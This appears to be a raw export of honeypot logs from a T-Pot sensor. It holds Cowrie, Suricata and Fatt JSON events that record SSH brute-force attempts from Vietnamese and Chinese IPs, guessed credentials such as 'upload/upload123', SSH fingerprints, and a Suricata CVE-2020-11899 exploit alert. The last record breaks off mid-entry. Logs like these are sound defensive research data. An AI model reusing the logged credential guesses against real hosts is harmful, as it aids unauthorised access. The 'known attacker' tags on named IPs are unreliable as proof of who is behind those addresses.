27832	fe80:0000:0000:0000:319d:3e8f:a38d:b93f	109.199.241.180	Suricata	2021-09-20 14:15:46.958041+03	2021-09-20 14:30:01.978523+03	{"_id": "MAbrAnwBvYTbRNuETCsq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:15:46.958041+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 70}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:319d:3e8f:a38d:b93f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 688253164494425, "payload": "AAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T11:15:46.958041Z", "@timestamp": "2021-09-20T11:15:46.958Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...."}}	1	\N	\N	alert	\N	\N
27833	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:46.710482+03	2021-09-20 14:30:01.979524+03	{"_id": "MgbrAnwBvYTbRNuETStw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50562, "timestamp": "2021-09-20T11:15:46.710482", "@timestamp": "2021-09-20T11:15:46.710Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27834	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:47.039788+03	2021-09-20 14:30:01.981523+03	{"_id": "NAbrAnwBvYTbRNuETis4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [0/0] failed", "session": "28e0283c5861", "@version": "1", "password": "0", "username": "0", "timestamp": "2021-09-20T11:15:47.039788Z", "@timestamp": "2021-09-20T11:15:47.039Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27835	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:47.157495+03	2021-09-20 14:30:01.982524+03	{"_id": "NgbrAnwBvYTbRNuETis4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "Enter new UNIX password:", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.failed", "message": "Command not found: Enter new UNIX password:", "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:47.157495Z", "@timestamp": "2021-09-20T11:15:47.157Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.failed	\N	known attacker	\N
27837	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:15:43.41119+03	2021-09-20 14:30:01.984523+03	{"_id": "8AbrAnwBvYTbRNuEPSrN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 35014, "dest_port": 22, "timestamp": "2021-09-20T11:15:43.411190", "@timestamp": "2021-09-20T11:15:43.411Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27838	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:15:42.948179+03	2021-09-20 14:30:01.987524+03	{"_id": "8QbrAnwBvYTbRNuEPiqS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "f25012e6ece1", "@version": "1", "duration": 5.500513076782227, "timestamp": "2021-09-20T11:15:42.948179Z", "@timestamp": "2021-09-20T11:15:42.948Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27839	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:43.129435+03	2021-09-20 14:30:01.988524+03	{"_id": "-QbrAnwBvYTbRNuEPiqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:35014 (192.168.176.2:22) [session: c2577cec2036]", "session": "c2577cec2036", "@version": "1", "protocol": "ssh", "src_port": 35014, "dest_port": 22, "timestamp": "2021-09-20T11:15:43.129435Z", "@timestamp": "2021-09-20T11:15:43.129Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27840	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:43.173539+03	2021-09-20 14:30:01.989523+03	{"_id": "-AbrAnwBvYTbRNuEPiqU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [upload/upload123] failed", "session": "751171bb91b1", "@version": "1", "password": "upload123", "username": "upload", "timestamp": "2021-09-20T11:15:43.173539Z", "@timestamp": "2021-09-20T11:15:43.173Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27841	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:15:44.217341+03	2021-09-20 14:30:01.990523+03	{"_id": "AwbrAnwBvYTbRNuEQCtw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1565850274303525, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43546, "dest_port": 22, "timestamp": "2021-09-20T11:15:44.217341Z", "@timestamp": "2021-09-20T11:15:44.217Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27847	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:44.936605+03	2021-09-20 14:30:02.000524+03	{"_id": "GgbrAnwBvYTbRNuERitm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "28e0283c5861", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:44.936605Z", "@timestamp": "2021-09-20T11:15:44.936Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27842	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:43.942598+03	2021-09-20 14:30:01.992523+03	{"_id": "BQbrAnwBvYTbRNuEQSu2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43546, "timestamp": "2021-09-20T11:15:43.942598", "@timestamp": "2021-09-20T11:15:43.942Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27843	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:43.940311+03	2021-09-20 14:30:01.993523+03	{"_id": "CgbrAnwBvYTbRNuEQit8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3c9cd1baa8a8", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:43.940311Z", "@timestamp": "2021-09-20T11:15:43.940Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27844	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:15:45.209913+03	2021-09-20 14:30:01.994526+03	{"_id": "EgbrAnwBvYTbRNuERSuf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 59498, "dest_port": 22, "timestamp": "2021-09-20T11:15:45.209913", "@timestamp": "2021-09-20T11:15:45.209Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27845	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:44.795122+03	2021-09-20 14:30:01.996525+03	{"_id": "FgbrAnwBvYTbRNuERitm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "f7cdbb9f3865", "@version": "1", "duration": 2.771798610687256, "timestamp": "2021-09-20T11:15:44.795122Z", "@timestamp": "2021-09-20T11:15:44.795Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27846	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:45.211986+03	2021-09-20 14:30:01.998524+03	{"_id": "FAbrAnwBvYTbRNuERitm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", 